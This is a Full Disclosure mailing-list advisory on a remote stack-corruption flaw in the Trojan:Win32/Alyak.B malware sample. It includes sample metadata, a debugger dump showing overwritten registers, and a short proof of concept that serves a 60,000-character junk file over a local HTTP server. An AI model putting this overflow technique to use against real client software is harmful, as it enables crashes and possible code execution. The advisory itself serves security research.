full-disclosure - [FD] Trojan:Win32/Alyak.B / Remote Stack Corruption

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Date: Sat, 2 Jan 2021 17:54:50 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Trojan:Win32/Alyak.B / Remote Stack Corruption

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source:
http://malvuln.com/advisory/6547f34243104ba6e21154ad96b799a5.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Trojan:Win32/Alyak.B
Vulnerability: Remote Stack Corruption
Description: Read access violation results in stack corruption and
crash. Specimen makes HTTP request for a plain text-file "1.txt" in
the "images" directory Port 80.

Point test machine gateway to a system you control and redirect DNS
traffic for PoC.
Send large payload of junk chars in server response for the requested
"images/1.txt" file.

Type: PE32
MD5: 6547f34243104ba6e21154ad96b799a5
Vuln ID: MVID-2021-0004
Dropped files: AYLaunch.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/01/2021

Memory Dump:
0:000> .ecxr
eax=0019c7c4 ebx=00000000 ecx=00000000 edx=6d6d6d6d esi=76e34f60 edi=00000000
eip=6d6d6d6d esp=0019a3a4 ebp=6d6d6d6d iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
6d6d6d6d ??              ???

0:000> .exr -1
ExceptionAddress: 6d6d6d6d
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 6d6d6d6d
Attempt to read from address 6d6d6d6d

dd 0019D3C4

0:000> dd 0019D3C4
0019d3c4  41414141 41414141 41414141 41414141
0019d3d4  41414141 41414141 41414141 41414141
0019d3e4  41414141 41414141 41414141 41414141
0019d3f4  41414141 41414141 41414141 41414141
0019d404  41414141 41414141 41414141 41414141

Exploit/PoC:
python -c "print 'A'*60000" > 1.txt

Start server.
python -m http.server 80

Disclaimer: The information contained within this advisory is supplied
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otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occuring from improper
Malware handling or the downloading of ANY Malware mentioned on this
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